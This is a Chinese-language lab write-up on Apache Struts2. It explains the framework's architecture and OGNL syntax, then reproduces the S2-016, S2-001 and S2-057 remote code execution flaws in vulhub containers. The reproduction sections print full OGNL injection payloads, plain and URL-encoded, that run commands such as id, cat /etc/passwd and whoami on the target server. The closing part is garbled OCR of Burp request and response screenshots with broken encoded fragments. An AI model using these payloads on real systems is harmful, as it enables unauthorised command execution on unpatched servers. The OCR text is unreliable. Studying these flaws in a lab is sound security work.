一、Struts2
概述
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2007 年 Apache 将 WebWork 与 Struts1 整合，推出 Struts2.0，保留了 WebWork 的拦截器、OGNL 等核心机制，同时吸收了 Struts1 的部分配置风格。
作为 “请求驱动型” MVC 框架，Struts2 专注于解决传统 Java Web 开发中 Servlet 与 JSP 代码混杂、请求处理逻辑分散的问题，通过统一的流程控制和数据处理机制，实现业务逻辑与视图展示的解耦。
随着 Spring MVC 等现代框架的崛起，Struts2 的市场份额逐渐下降，Apache 已于 2023 年宣布停止对其主要版本的更新（仅保留安全补丁至 2024 年），但仍广泛存在于 legacy 系统中。
架构
Struts2 的架构以 “过滤器为入口、Action 为核心、拦截器为增强、值栈为数据中枢” 为特点，严格遵循 MVC 模式：
Model（模型）
负责数据存储与业务逻辑，包含两类核心组件：
数据模型：
以 POJO（普通 Java 对象）为载体，存储业务数据（如用户信息、订单数据）；
借助ValueStack（值栈） 临时存储请求参数、Action 属性及业务处理结果，作为页面与后端数据交互的 “中转站”。
业务模型：
由 Service 层（处理核心业务逻辑）和 DAO 层（数据访问）组成，与 Struts2 框架本身松耦合，可独立于框架存在。
View（视图）
负责页面展示，支持多种技术并提供专用标签库：
支持的视图技术：JSP（最常用）、Freemarker、Velocity、JSON 等，可通过配置灵活切换。
Struts2 标签库：简化视图层开发，按功能分为：
表单标签（如\<s:form>、\<s:textfield>）：自动绑定值栈数据，简化表单提交与回显；
数据标签（如\<s:property>、\<s:iterator>）：通过 OGNL 表达式访问值栈数据；
控制标签（如\<s:if>、\<s:else>）：实现页面逻辑判断。
Controller（控制器）
负责请求分发与流程控制，核心组件包括：
StrutsPrepareAndExecuteFilter：框架的 “入口过滤器”，拦截所有符合规则的请求（默认拦截/），分为两个阶段：
Prepare阶段：加载配置文件（struts.xml、属性文件等）、初始化值栈；
Execute阶段：调用拦截器链、执行 Action 方法、处理结果跳转。
Action：处理具体请求的核心类，本质是 POJO（无需继承特定父类或实现接口），主要职责：
接收请求参数（通过属性自动封装，依赖params拦截器）；
调用 Service 层业务逻辑；
返回结果视图名称（如success、error），由框架根据配置跳转至对应视图。
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核心组件
拦截器（Interceptor）
Struts2 的 “灵魂特性”，基于责任链模式实现，在 Action 执行前后插入通用逻辑（无需修改 Action 代码）。
工作原理：多个拦截器组成 “拦截器链”，按配置顺序执行（如先执行日志记录，再执行登录验证），最终调用 Action 的目标方法。
常用内置拦截器：
params：自动将请求参数封装到 Action 属性；
validation：执行输入验证（基于 XML 或注解）；
exception：捕获 Action 执行中的异常并处理；
timer：记录 Action 执行时间。
OGNL（对象图导航语言）
Struts2 的数据交互 “桥梁”，是一种表达式语言，用于：
访问值栈中的数据（如user.name获取用户姓名）；
实现页面与 Action 的双向数据绑定（表单提交时自动封装，页面渲染时自动取值）；
支持复杂操作（如集合遍历、方法调用）。
配置文件
Struts2 通过配置文件定义请求映射、拦截器、结果跳转等规则，核心配置包括：
struts.xml：全局核心配置，定义 Action 映射（\<action>标签）、拦截器引用（\<interceptor-ref>）、结果视图（\<result>）等；
struts.properties：配置框架属性（如是否开发模式、文件上传大小限制）；
注解配置：替代 XML，通过@Action、@Result等注解直接在 Action 类上定义映射规则（Struts2.1 + 支持）。
值栈（ValueStack）
Struts2 的数据存储中心，本质是一个栈结构，包含：
Action 对象：当前执行的 Action 实例（栈顶元素）；
临时对象：请求参数、业务处理结果等；
所有视图层标签和 OGNL 表达式默认访问值栈中的数据，无需手动传递参数。
OGNL
OGNL（Object-Graph Navigation Language，对象图导航语言）是一种功能强大的表达式语言，主要用于访问和操作 Java 对象的属性、方法、集合等，支持复杂的对象图导航（即通过链式调用访问嵌套对象的属性）。
OGNL 的本质是 “对象操作的表达式引擎”，目标是简化 Java 对象的访问逻辑。
传统 Java 中访问对象属性需要通过getter/setter方法，而 OGNL 通过表达式（如user.address.city）即可直接导航到嵌套对象的属性，无需手动编写多层方法调用，大幅简化了代码。
OGNL 是 Struts2 的数据交互 “神经中枢”，与框架深度绑定。
OGNL 表达式
OGNL 表达式是用于访问和操作 Java 对象的表达式语言，核心是通过简洁语法实现对象图导航（如嵌套属性访问、方法调用等）。
访问：
	功能
	表达式示例
	说明

	访问简单属性
	user.name
	访问user对象的name属性（自动调用user.getName()）

	访问嵌套属性
	user.address.city
	链式访问user的address属性的city值（user.getAddress().getCity()）

	调用实例方法
	user.getName().length()
	调用user.name的length()方法（获取姓名长度）

	调用静态方法
	@java.lang.Math@max(10, 20)
	调用Math类的静态方法max(10,20)，结果为 20

	访问 List 元素
	users[0].age
	访问users集合（List）第 1 个元素的age属性

	访问 Map 元素
	userMap["admin"].role
	访问userMap中键为 "admin" 的对象的role属性

	集合过滤（取成年）
	users.{? #this.age > 18}
	筛选users中年龄 > 18 的元素（#this代表集合当前元素）


OGNL 中有多个特殊符号，用于标识上下文、静态成员等：
	符号
	用途说明
	示例

	#
	1. 访问上下文变量（如#session）；<br />2. 集合过滤中代表当前元素（#this）。
	#request.msg → 访问 request 域的msg；users.{? #this.age>18}

	@
	访问静态成员（静态方法 / 属性），格式为@全类名@成员。
	@java.lang.Math@PI → 访问Math类的PI常量

	$
	1. Struts2 配置文件中标识 OGNL 表达式（如${#request.msg}）；<br />2. 集合过滤中取最后一个符合条件的元素。
	${#session.user.name}（配置文件中）；users.{$ #this.age>18}

	%
	Struts2 标签中强制解析 OGNL 表达式（用于默认不解析的场景）。
	<s:textfield value="%{#request.defaultName}"/> → 解析 request 中的值


其中：${}用于告诉框架：包裹的内容是 OGNL 表达式，需要解析执行。
路径特征
Struts2 框架的路径特征主要体现在 URL 结构、请求后缀、命名空间映射等方面，这些特征可用于识别应用是否基于 Struts2 开发。
默认请求后缀：.action 或 .do
Struts2 的请求默认通过特定后缀映射到 Action，这是最显著的路径特征。
默认配置：框架默认使用 .action 作为请求后缀（如 login.action），对应 struts.xml 中 Action 的name属性。
可选后缀：可通过struts.properties或struts.xml配置其他后缀（如 .do，兼容 Struts1 的习惯），配置示例：
<constant name="struts.action.extension" value="action,do" />
路径示例：访问名为login的 Action：http://xxx.com/login.action 或 http://xxx.com/login.do
命名空间（namespace）在 URL 中的体现
Struts2 通过namespace对 Action 进行分组，命名空间会直接反映在 URL 路径中，格式为：
http://域名/[命名空间]/[Action名称].[后缀]
规则：
若namespace配置为/user，则访问该命名空间下的loginAction 的路径为：http://xxx.com/user/login.action；
若namespace为根路径（/），则路径为：http://xxx.com/login.action；
若未显式配置namespace，默认使用空命名空间，路径为：http://xxx.com/login.action（与根路径类似，但底层处理逻辑有差异）。
<package name="user" namespace="/user" extends="struts-default">
    <action name="login" class="com.example.UserLoginAction">
        <result>/login.jsp</result>
    </action>
</package>

对应访问路径：http://xxx.com/user/login.action
Action 名称直接作为路径片段
Struts2 的 URL 路径中，Action 的name属性直接作为路径的一部分（位于命名空间之后、后缀之前），无需像 Servlet 那样显式配置映射路径。
例如：
Action 的name为register，则路径中必然包含register（如/register.action）；
复杂 Action 名称（如user-info）会直接出现在路径中：/user-info.action。
重定向 / 转发路径的特征
Struts2 处理redirect（重定向）或dispatcher（转发）结果时，路径可能包含动态参数或 OGNL 表达式痕迹（尤其在漏洞场景中）。
正常场景：重定向路径可能为固定页面或其他 Action，如：
  http://xxx.com/login.action?redirect=/index.jsp
漏洞场景：如 S2-016 漏洞中，重定向路径包含用户可控参数，可能出现 OGNL 表达式片段，如：
  http://xxx.com/test.action?url=${恶意表达式}
二、S2-016
漏洞描述
在struts2中，DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或者是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，
由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令
本质：用户输入未过滤导致的 OGNL 表达式注入
漏洞原理
Struts2 的 “结果（Result）” 机制用于定义 Action 执行后的跳转行为（如转发到 JSP、重定向到 URL 等）。其中，redirect和redirectAction是两种常见的结果类型，用于实现 HTTP 重定向（302跳转）。
为支持 “动态跳转路径”（如根据用户参数动态生成跳转 URL），Struts2 在处理redirect/redirectAction结果时，会对配置中的location（跳转路径）、namespace（命名空间）、actionName（目标 Action 名称）等参数进行OGNL 表达式解析。
${.     }
例如：
<action name="redirectAction" class="com.example.RedirectAction">
  <!-- 结果类型为redirect，location参数值通过OGNL表达式动态获取 -->
  <result type="redirect">${param.targetUrl}</result>
</action>

其中${param.targetUrl}的含义是 “从请求参数（param）中获取targetUrl的值，并作为跳转路径”。此时，Struts2 会将targetUrl参数的值当作 OGNL 表达式解析，而非单纯的字符串。
触发条件：
结果类型为redirect或redirectAction；
结果的配置参数（如location）包含用户可控的输入（如 URL 参数、表单字段等）；
框架未对用户输入进行 OGNL 特殊字符过滤（如${、#、@等），直接将输入作为表达式解析。
攻击者利用上述逻辑，可构造包含恶意命令的 OGNL 表达式作为targetUrl参数的值。当 Struts2 解析该表达式时，恶意命令会被执行，最终实现远程代码执行。
影响范围
Struts 2.0.0 - 2.3.15
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./struts2/s2-016/
root@ubuntu:~/vulhub/struts2/s2-016# docker compose up -d
[image: ]
[image: ]
输入Payload：执行的命令是id
http://192.168.124.130:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
观察URL回显：
[image: ]
执行的命令是cat /etc/passwd
http://127.0.0.1:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%7D
[image: ]
修复建议
升级版本
三、S2-001
漏洞描述
该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。
例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行。
OGNL表达式，OGNL 是 Object Graphic Navigation Language(对象图导航语言)的缩写，它是一种功能强大的表达式语言，使用它可以存取对象的任意属性，调用对象的方法，使用 OGNL 表达式的主要作用是简化访问对象中的属性值，但Struts2漏洞就源于OGNL。
[image: ]
影响范围
Struts 2.0.0 - Struts 2.0.8
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./struts2/s2-001/
root@ubuntu:~/vulhub/struts2/s2-001# docker compose up -d
[image: ]
对该页面进行抓取数据包，获取web路径，使用POC：
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
进行url编码后在执行
[image: ]
执行系统命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
先进行URL编码再进行执行
显示当前路径
[image: ]
修复建议
升级版本
四、S2-057
漏洞描述
Apache Struts2 框架的命名空间解析逻辑存在缺陷。
当配置项 alwaysSelectFullNamespace 为 true，且 Action 配置未显式设置 namespace 属性、或使用了通配符 namespace 时，攻击者可从 URI 路径中传入恶意内容作为 namespace。
该值会被框架直接作为 OGNL 表达式解析执行，无需任何身份认证即可触发远程代码执行（RCE），最终接管服务器。
该漏洞属于 GET 型漏洞，payload 位于 URL 路径中，浏览器可直接触发，常见于动作链（actionChain）、URL 标签等业务场景。
影响范围
Struts 2.3 系列：2.3 ≤ 版本 ≤ 2.3.34
Struts 2.5 系列：2.5 ≤ 版本 ≤ 2.5.16
漏洞复现
进入靶场，启动环境：
root@ubuntu:~/vulhub/struts2# cd s2-057
root@ubuntu:~/vulhub/struts2/s2-057# docker compose up -d
http://ip:port/struts2-showcase/
[image: ]
/struts2-showcase/$%7B1*4%7D/actionChain1.action
[image: ]
将POC替换掉：
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
将poc进行url编码，再加载
/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
[image: ]
修复建议
升级到Apache Struts 2.3.35 或Struts 2.5.17版
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S:\vulhub\vulhub\struts2\s2-016>docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
feaB8ellb63758  s2-016-struts2  "catalina.sh run" 32 seconds ago Up 32 seconds 0.0.0.0:8080->8080/tcp, [::]1:8080->8080/tcp  s2-016-struts2-1

S:\vulhub\vulhub\struts2\s2-016>d
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3 Content-Length: 714
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192. 168. 84. 174:8080
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Response
Pretty Raw  Hex

1
3
4

5

Render

HITP/1.1 200

Content-Type: text/html;charset=UTF-8
Date: Fri, 23 Dec 2022 02:35:07 GMT
Comnection: close

Content-Length: 514

<!DOCTYPE html PUBLIC “~//W3C//DID HTML 4.01 Transitional//EN”
“http://www. w3. org/TR/htm14/loose. dtd”>
<html>
<head>
<meta http-equiv="Content-Type” content="text/html; charset=UTF-8">
<(titled
52-001
<Jtitle
</head>
<body>
<h2>
52-001 Demo
</n2>
<p>
link: <a href="https://struts. apache. org/docs/s2-001. html">
https://struts. apache. org/docs/s2-001. html
</a>
/o>

<form id="login” name="login” onsubmit="return true;” action="
/login. action” method="post”>
<table class="wwFormTable”>

/usr/local/tomcat/webapps/RO0T/ ummmmmmm—

YO1D3dSNI




image10.png
Request
Pretty Raw  Hex
 HOST:"T9Z. T05. 54. 1141 5UsU
3 Content-Length: 1206
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192. 168. 84. 174:8080
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 Accept:
text/html, application/shtml+xml, application/xml;q=0.9, image/avif, image/webp, i
mage/apng, */*;q=0. 8, application/signed-exchange; v=b3;q=0. 9
10 Referer: http://192. 168. 84. 174:8080/login. action
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh—CN, zh;q=0. 9
13 Cookie: JSESSIONID=0BF2D2465AF8C206E24386D7EC52B104
14 Connection: close
15
16 username=
25%7b%23%61%3d%28%6e%6.5

%20%62%61%7 6%6 1%2e%6.c%6 1%6e%6 T%2e%50%T 2%6 %6 3%65

3%73%42%T 5%6 9%6.c%64%6 5% T 2%28%6e%6 5% T T%20%6a%61%T 6%6 1%2e%6.c%6 1 %6e%6 Th2e%53%T 4%
%69%6e%6 7% 5b%h5d%Th%22%T 0%T T%64%22%T d%29%29%2e% T 2%6 5%64%69¢
206 %7 2%53%T 4%T7 2%65%6 1%6d%28%T 4%T 2%T 5%65%29%2e% T 3%T 4%6 1

207 4%28%29%2c%23%6

%5b%35%30%30%30%30%5d%2c%23%64%2¢
%6 F%6e%hT 4%65%7 8%T 4%2e%6 76 5%T 4%28%22%63%6 %6 d%2e%6 f%T 0%6 5%6e!

2%65%6 1%64%28%23%65%29%2c%23%66%3d%23%63
3%79%6d%T 0%68%6

53%65%T7 2%7 6%6.c%65%T 4%52%6 5% %6 f%6e%T 3%65%22%29%2c%23%66%2e%6 %6 5% 4%!
%28%29%2e%’ %6 9%6e%T 4%6c%B6e%28%6e%65%T Th20%6a%61%T 6%61%2e%6c%E
1%6e%67%2e%53%T 4%7 2%6 9%6e%6 Th28%23%6 5%29%29%2c%23%66%2e%6 Th6 5% T 4%57
65%7 2%28%29%2e%66%6.c% T 5%T 3%68%28%29%2c%23%66%2e%6 %6 5% 4%!
%29%2e%63%6c%6 %7 3%65%28%29% T dkpassword=11

Response

Pretty Raw  Hex Render

TTHTIFTL. L 20U

2 Content-Type: text/html;charset=UTF-8
3 Date: Fri, 23 Dec 2022 02:36:15 GMT
4 Comnection: close

5 Content-Length: 50483

6
8
9 <!DOCTYPE html PUBLIC “~//W3C//DID HIML 4.01 Transitional//EN
“http://www. w3. org/TR/htm14/loose. dtd”>
10 <html>
11 <head>
12 <meta http-equiv="Content-Type” content="text/html; charset=UTF-8">
13 <titled
52-001
<Jtitle
14 </head>
15 <body>
6 <h2>
52-001 Demo
</n2>
17w

link: <a href="https://struts. apache. org/docs/s2-001. html">
https://struts. apache. org/docs/s2-001. html

</a>

/o>
18
19
20 <form id="login” name="login” onsubmit="return true;” action="

/login. action” method="post”>
21 <table class="wiFormTable”>

/usr/local/tomcat

23




image11.png
< G AFze 192168.124.130:8080/struts2-showcase/ ®* 9 @ @

Struts2 Showcase ~ @ Home  Configuration+  Tags~  Filew  Examples~ Integraion~  AJAX~ Interactive Demo ™ Help~

Welcome!

The Struts Showcase demonstrates a variety of use cases and tag usages. Essentially, the application exercises
various framework features in isolation. The Showcase is not meant as a "best practices” example.

For more "by example” solutions, see the IESIUTEYOLLIGLIISUN pages.
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B Raw  Hex 2@ =

T GET /struts2-showcase| $%7B1*4%7D/pctionChainl. action HTTP/I. 1

Host: 192.168. 124. 130
Accept-Language: zh-CN, zh
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
*;4=0. 8, application/signed-exchange;v=b3;q=0. 7

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID FC13C62A9146DDB199D3E9AEEB6C7A30

L]

% Raw  Hex  FEER

1 HTTP/1. 1 302

2 Location: /struts2-showcase/4/register2. action
3 Content-Length: 0
4 Date: Tue, 25 Aug 2026 03:3§:30 GMT

5
6




image13.png
R

B Raw  Hex 2@ =

1

Qe N

@ =

9

GET
/struts2-showcase/$%7B%0A%28%23dn%3D@ogn1. OgnlContex t@DEFAULT MEMBER ACCESS%29. %28%23c t%3
D23requesth5Bh27struts. valueStack%27%5D. context%29. %28%23cr%3D%23c t%5B%27com. opensymphon
y. xwork2. ActionContext. container%27%5D%29. %28%230u%3D%23cr. getInstance%28@com. opensymphon
y. xwork2. ognl. Ogn1Util@class%29%29. %28%230u. getExcludedPackageNames%28%29. c1earh28%29%29
%28%230u. getExcludedClasses’28%29. clear’28%29%29. %28%23c t. setMemberAccessh28%23du%29%29. %
28%23a%3D@java. lang. Runtime@getRunt ime%28%29. exec%28%27whoami%27%29%29. %28@org. apache. com
mons. io. I0Utils@toString%28%23a. get InputStreanti28%29%29%29%7D/actionChainl. action
HTTP/1.1

Host: 192. 168. 124. 130:8080

Accept-Language: zh-CN, zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
*;4=0. 8, application/signed-exchange;v=b3;q=0. 7

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=FC13C62A9146DDB199D3EIAEEB6CTA30

Connection.. keepzalive.

Ll
#ME  Raw  Hex HEmER

1 HTTP/1.1 302

2 Location: /struts2-showcase/root /register2.action
3 Content-Length: 0

4 Date: Tue, 25 Aug 2026 03:40:26 GMT

)
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